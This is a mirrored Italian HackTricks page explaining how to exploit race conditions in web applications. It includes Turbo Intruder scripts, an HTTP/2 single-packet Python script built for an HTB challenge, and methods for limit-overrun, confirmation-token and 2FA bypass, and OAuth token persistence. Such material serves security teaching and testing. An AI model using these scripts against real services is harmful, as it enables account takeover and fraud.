mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
385 lines
20 KiB
Markdown
385 lines
20 KiB
Markdown
# Race Condition
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
> [!WARNING]
|
|
> Per ottenere una comprensione profonda di questa tecnica, controlla il rapporto originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
|
|
|
## Migliorare gli Attacchi di Race Condition
|
|
|
|
L'ostacolo principale nel sfruttare le race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con **molto poca differenza nei loro tempi di elaborazione—idealmente, meno di 1ms**.
|
|
|
|
Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:
|
|
|
|
#### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione dell'Ultimo Byte HTTP/1.1
|
|
|
|
- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition coerente.
|
|
- **HTTP/1.1 'Sincronizzazione dell'Ultimo Byte'**: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, raggiungendo simultaneamente il server.
|
|
|
|
**Preparazione per la Sincronizzazione dell'Ultimo Byte** prevede:
|
|
|
|
1. Inviare intestazioni e dati del corpo meno l'ultimo byte senza terminare il flusso.
|
|
2. Pausare per 100ms dopo l'invio iniziale.
|
|
3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali.
|
|
4. Eseguire un ping per riscaldare la connessione.
|
|
|
|
L'invio successivo dei frame trattenuti dovrebbe risultare nella loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi RC.
|
|
|
|
### Adattarsi all'Architettura del Server
|
|
|
|
Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento proattivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta.
|
|
|
|
#### Gestire il Blocco Basato su Sessione
|
|
|
|
Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, potenzialmente oscurando le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.
|
|
|
|
#### Superare i Limiti di Velocità o Risorse
|
|
|
|
Se il riscaldamento della connessione è inefficace, attivare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle race condition.
|
|
|
|
## Esempi di Attacco
|
|
|
|
- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puoi cambiare nella richiesta il valore che vuoi forzare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e poi selezionare il **`examples/race-single-packer-attack.py`** dal menu a discesa:
|
|
|
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Se intendi **inviare valori diversi**, potresti modificare il codice con questo che utilizza una wordlist dagli appunti:
|
|
```python
|
|
passwords = wordlists.clipboard
|
|
for password in passwords:
|
|
engine.queue(target.req, password, gate='race1')
|
|
```
|
|
> [!WARNING]
|
|
> Se il web non supporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`.
|
|
|
|
- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (Diversi endpoint)**: Nel caso tu debba inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare il RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa come:
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=1,
|
|
engine=Engine.BURP2
|
|
)
|
|
|
|
# Hardcode the second request for the RC
|
|
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
|
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
|
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
|
Content-Length: 0
|
|
|
|
'''
|
|
|
|
# For each attempt (20 in total) send 50 confirmation requests.
|
|
for attempt in range(20):
|
|
currentAttempt = str(attempt)
|
|
username = 'aUser' + currentAttempt
|
|
|
|
# queue a single registration request
|
|
engine.queue(target.req, username, gate=currentAttempt)
|
|
|
|
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
|
for i in range(50):
|
|
engine.queue(confirmationReq, gate=currentAttempt)
|
|
|
|
# send all the queued requests for this attempt
|
|
engine.openGate(currentAttempt)
|
|
```
|
|
- È disponibile anche in **Repeater** tramite la nuova opzione '**Invia gruppo in parallelo**' in Burp Suite.
|
|
- Per **limit-overrun** puoi semplicemente aggiungere **la stessa richiesta 50 volte** nel gruppo.
|
|
- Per **connection warming**, puoi **aggiungere** all'**inizio** del **gruppo** alcune **richieste** a una parte non statica del server web.
|
|
- Per **ritardare** il processo **tra** l'elaborazione **di una richiesta e un'altra** in 2 passaggi sottostanti, puoi **aggiungere richieste extra tra** entrambe le richieste.
|
|
- Per un **multi-endpoint** RC puoi iniziare a inviare la **richiesta** che **va allo stato nascosto** e poi **50 richieste** subito dopo che **sfruttano lo stato nascosto**.
|
|
|
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- **Script python automatizzato**: L'obiettivo di questo script è cambiare l'email di un utente mentre la verifica continua fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice si vedeva un RC dove era possibile modificare un'email ma avere la verifica inviata a quella vecchia perché la variabile che indicava l'email era già popolata con la prima).\
|
|
Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il token di verifica dell'email cambiata e terminiamo l'attacco.
|
|
```python
|
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
|
# Script from victor to solve a HTB challenge
|
|
from h2spacex import H2OnTlsConnection
|
|
from time import sleep
|
|
from h2spacex import h2_frames
|
|
import requests
|
|
|
|
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
|
|
|
# change these headers
|
|
|
|
headersObjetivo= """accept: */*
|
|
content-type: application/x-www-form-urlencoded
|
|
Cookie: """+cookie+"""
|
|
Content-Length: 112
|
|
"""
|
|
|
|
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
|
|
|
headersVerification= """Content-Length: 1
|
|
Cookie: """+cookie+"""
|
|
"""
|
|
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
|
|
|
host = "94.237.56.46"
|
|
puerto =39697
|
|
|
|
|
|
url = "https://"+host+":"+str(puerto)+"/email/"
|
|
|
|
response = requests.get(url, verify=False)
|
|
|
|
|
|
while "objetivo" not in response.text:
|
|
|
|
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
|
|
|
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
|
#print(response.text)
|
|
# change this host name to new generated one
|
|
|
|
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
|
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
|
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
|
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
|
|
|
print(responseReset.status_code)
|
|
|
|
h2_conn = H2OnTlsConnection(
|
|
hostname=host,
|
|
port_number=puerto
|
|
)
|
|
|
|
h2_conn.setup_connection()
|
|
|
|
try_num = 100
|
|
|
|
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
|
|
|
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
|
all_data_frames = [] # all data frames which contain the last byte
|
|
|
|
|
|
for i in range(0, try_num):
|
|
last_data_frame_with_last_byte=''
|
|
if i == try_num/2:
|
|
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
|
method='POST',
|
|
headers_string=headersObjetivo,
|
|
scheme='https',
|
|
stream_id=stream_ids_list[i],
|
|
authority=host,
|
|
body=bodyObjetivo,
|
|
path='/challenge/api/profile'
|
|
)
|
|
else:
|
|
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
|
method='GET',
|
|
headers_string=headersVerification,
|
|
scheme='https',
|
|
stream_id=stream_ids_list[i],
|
|
authority=host,
|
|
body=".",
|
|
path='/challenge/api/sendVerification'
|
|
)
|
|
|
|
all_headers_frames.append(header_frames_without_last_byte)
|
|
all_data_frames.append(last_data_frame_with_last_byte)
|
|
|
|
|
|
# concatenate all headers bytes
|
|
temp_headers_bytes = b''
|
|
for h in all_headers_frames:
|
|
temp_headers_bytes += bytes(h)
|
|
|
|
# concatenate all data frames which have last byte
|
|
temp_data_bytes = b''
|
|
for d in all_data_frames:
|
|
temp_data_bytes += bytes(d)
|
|
|
|
h2_conn.send_bytes(temp_headers_bytes)
|
|
|
|
# wait some time
|
|
sleep(0.1)
|
|
|
|
# send ping frame to warm up connection
|
|
h2_conn.send_ping_frame()
|
|
|
|
# send remaining data frames
|
|
h2_conn.send_bytes(temp_data_bytes)
|
|
|
|
resp = h2_conn.read_response_from_socket(_timeout=3)
|
|
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
|
frame_parser.add_frames(resp)
|
|
frame_parser.show_response_of_sent_requests()
|
|
|
|
print('---')
|
|
|
|
sleep(3)
|
|
h2_conn.close_connection()
|
|
|
|
response = requests.get(url, verify=False)
|
|
```
|
|
### Migliorare l'Attacco a Pacchetto Singolo
|
|
|
|
Nella ricerca originale si spiega che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**questo post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), è stato spiegato come sia possibile estendere il limite di 1.500 byte dell'attacco a pacchetto singolo al **limite di finestra di 65.535 B di TCP utilizzando la frammentazione a livello IP** (dividendo un singolo pacchetto in più pacchetti IP) e inviandoli in ordine diverso, consentendo di prevenire il riassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.
|
|
|
|
Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede che centinaia/migliaia di pacchetti arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa `SETTINGS_MAX_CONCURRENT_STREAMS` impostata su 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti.\
|
|
Questo significa fondamentalmente che Apache considererà solo 100 connessioni HTTP da una singola connessione TCP (limitando questo attacco RC).
|
|
|
|
Puoi trovare alcuni esempi utilizzando questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
|
|
|
## Raw BF
|
|
|
|
Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare un RC.
|
|
|
|
- **Repeater:** Controlla gli esempi della sezione precedente.
|
|
- **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** su **30** all'interno del **menu Opzioni** e seleziona come payload **Null payloads** e genera **30.**
|
|
- **Turbo Intruder**
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
pipeline=False
|
|
)
|
|
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
|
for i in range(len(a)):
|
|
engine.queue(target.req,a[i], gate='race1')
|
|
# open TCP connections and send partial requests
|
|
engine.start(timeout=10)
|
|
engine.openGate('race1')
|
|
engine.complete(timeout=60)
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
- **Python - asyncio**
|
|
```python
|
|
import asyncio
|
|
import httpx
|
|
|
|
async def use_code(client):
|
|
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
|
return resp.text
|
|
|
|
async def main():
|
|
async with httpx.AsyncClient() as client:
|
|
tasks = []
|
|
for _ in range(20): #20 times
|
|
tasks.append(asyncio.ensure_future(use_code(client)))
|
|
|
|
# Get responses
|
|
results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
|
|
# Print results
|
|
for r in results:
|
|
print(r)
|
|
|
|
# Async2sync sleep
|
|
await asyncio.sleep(0.5)
|
|
print(results)
|
|
|
|
asyncio.run(main())
|
|
```
|
|
## **RC Methodology**
|
|
|
|
### Limit-overrun / TOCTOU
|
|
|
|
Questo è il tipo più basilare di race condition dove **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come usare lo stesso codice sconto in un negozio web più volte. Un esempio molto semplice può essere trovato in [**questo report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.**
|
|
|
|
Ci sono molte variazioni di questo tipo di attacco, tra cui:
|
|
|
|
- Riscuotere una carta regalo più volte
|
|
- Valutare un prodotto più volte
|
|
- Prelevare o trasferire contante in eccesso rispetto al saldo del tuo conto
|
|
- Riutilizzare una singola soluzione CAPTCHA
|
|
- Bypassare un limite di velocità anti-brute-force
|
|
|
|
### **Hidden substates**
|
|
|
|
Sfruttare condizioni di gara complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati di macchina nascosti o **non intenzionali**. Ecco come affrontare questo:
|
|
|
|
1. **Identificare Sottostati Nascosti Potenziali**
|
|
- Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di reimpostazione della password. Concentrati su:
|
|
- **Storage**: Preferisci endpoint che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
|
|
- **Action**: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
|
|
- **Keying**: Attacchi di successo di solito coinvolgono operazioni chiave sullo stesso identificatore, ad es. nome utente o token di reimpostazione.
|
|
2. **Condurre Prove Iniziali**
|
|
- Testa gli endpoint identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.
|
|
3. **Dimostrare la Vulnerabilità**
|
|
- Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere più tentativi o automazione a causa della tempistica precisa coinvolta.
|
|
|
|
### Attacchi Sensibili al Tempo
|
|
|
|
La precisione nel temporizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati su timestamp potrebbe consentire token identici per richieste simultanee.
|
|
|
|
**Per Sfruttare:**
|
|
|
|
- Usa un temporizzazione precisa, come un attacco a pacchetto singolo, per effettuare richieste di reimpostazione della password simultanee. Token identici indicano una vulnerabilità.
|
|
|
|
**Esempio:**
|
|
|
|
- Richiedi due token di reimpostazione della password contemporaneamente e confrontali. Token corrispondenti suggeriscono un difetto nella generazione dei token.
|
|
|
|
**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provare questo.**
|
|
|
|
## Casi studio di sottostati nascosti
|
|
|
|
### Paga & aggiungi un elemento
|
|
|
|
Controlla questo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un extra** articolo che **non dovrai pagare**.
|
|
|
|
### Conferma altre email
|
|
|
|
L'idea è di **verificare un indirizzo email e cambiarlo in un altro allo stesso tempo** per scoprire se la piattaforma verifica il nuovo indirizzo cambiato.
|
|
|
|
### Cambia email in 2 indirizzi email basati su Cookie
|
|
|
|
Secondo [**questa ricerca**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **inviare** il **token di verifica email di un'email all'altra email**.
|
|
|
|
**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provare questo.**
|
|
|
|
### Stati Nascosti del Database / Bypass di Conferma
|
|
|
|
Se **2 scritture diverse** vengono utilizzate per **aggiungere** **informazioni** all'interno di un **database**, c'è una piccola porzione di tempo in cui **solo i primi dati sono stati scritti** all'interno del database. Ad esempio, quando si crea un utente, il **nome utente** e la **password** potrebbero essere **scritti** e **poi il token** per confermare l'account appena creato è scritto. Questo significa che per un breve periodo il **token per confermare un account è nullo**.
|
|
|
|
Pertanto, **registrare un account e inviare diverse richieste con un token vuoto** (`token=` o `token[]=` o qualsiasi altra variazione) per confermare l'account immediatamente potrebbe consentire di c**onfermare un account** dove non controlli l'email.
|
|
|
|
**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provare questo.**
|
|
|
|
### Bypass 2FA
|
|
|
|
Il seguente pseudo-codice è vulnerabile a una race condition perché in un tempo molto breve il **2FA non è applicato** mentre la sessione viene creata:
|
|
```python
|
|
session['userid'] = user.userid
|
|
if user.mfa_enabled:
|
|
session['enforce_mfa'] = True
|
|
# generate and send MFA code to user
|
|
# redirect browser to MFA code entry form
|
|
```
|
|
### OAuth2 persistenza eterna
|
|
|
|
Ci sono diversi [**fornitori OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore OAUth**.\
|
|
Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_Applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?_"
|
|
|
|
#### Race Condition in `authorization_code`
|
|
|
|
Il **problema** appare quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.
|
|
|
|
#### Race Condition in `Refresh Token`
|
|
|
|
Una volta che hai **ottenuto un RT valido**, potresti provare a **sfruttarlo per generare diversi AT/RT** e **anche se l'utente annulla i permessi** per l'applicazione malevola di accedere ai suoi dati, **diversi RT rimarranno ancora validi.**
|
|
|
|
## **RC in WebSockets**
|
|
|
|
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare un PoC in Java per inviare messaggi websocket in **parallelo** per sfruttare **Race Conditions anche nei Web Sockets**.
|
|
|
|
## Riferimenti
|
|
|
|
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
|
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
|
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
|
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
|
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
|
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|